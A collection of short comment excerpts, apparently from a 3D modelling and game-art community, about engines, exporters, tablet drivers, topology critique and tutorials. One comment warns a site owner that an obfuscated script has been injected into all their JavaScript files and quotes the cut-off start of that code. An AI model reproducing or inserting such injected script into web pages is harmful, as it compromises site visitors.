nice work Seith! Any particular reason why the switch from CE3 to Unity? oh! and big thanks to you for the Maya .cgf exporter. best of luck with the game, its look hott!
I read a thread about this ages ago, believe it was on CGTalk. That was a doozy of a thread! I really want to buy Dark Souls in the next Steam sale, but also I could like my xbox pad in its current working order. Hmm.
Just tried these drivers on XP 32 bit with an HD4870, worked like a charm! I can happily rotate now. Thanks a lot for the info, I found this site on a google search, saved my life. I used the XP driver from this post at the cgtalk forum:
Olivier Thill does it exceptionally well, unique and awesome technique: http://www.zbrushcentral.com/showthread.php?t=93536&page=1&pp=15 http://logan117.cgsociety.org/gallery/912211/ It's not really game art as such since it's not optimized for use in an engine. With regards to your question, I'm not sure why you'd want to…
Hey everyone, I'm back with some updated topology after studying a bunch of models and helpful links from CGTalk, here we have the current mesh all color coded for convenience. No Tris what so ever, a few poles though. Happy to hear any critique/ see any paint overs for changes you'd think would be beneficial. :) Also it…
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
Were you following the Dumpster Tutorial on CGTuts+? You're lid looks identical. I had a lot of problems with that one as well, made me give up on learning 3d for probably about a month a few months ago because I thought I'd never get the hang of it. I figured out the problem was the display in Crazybump though, as it…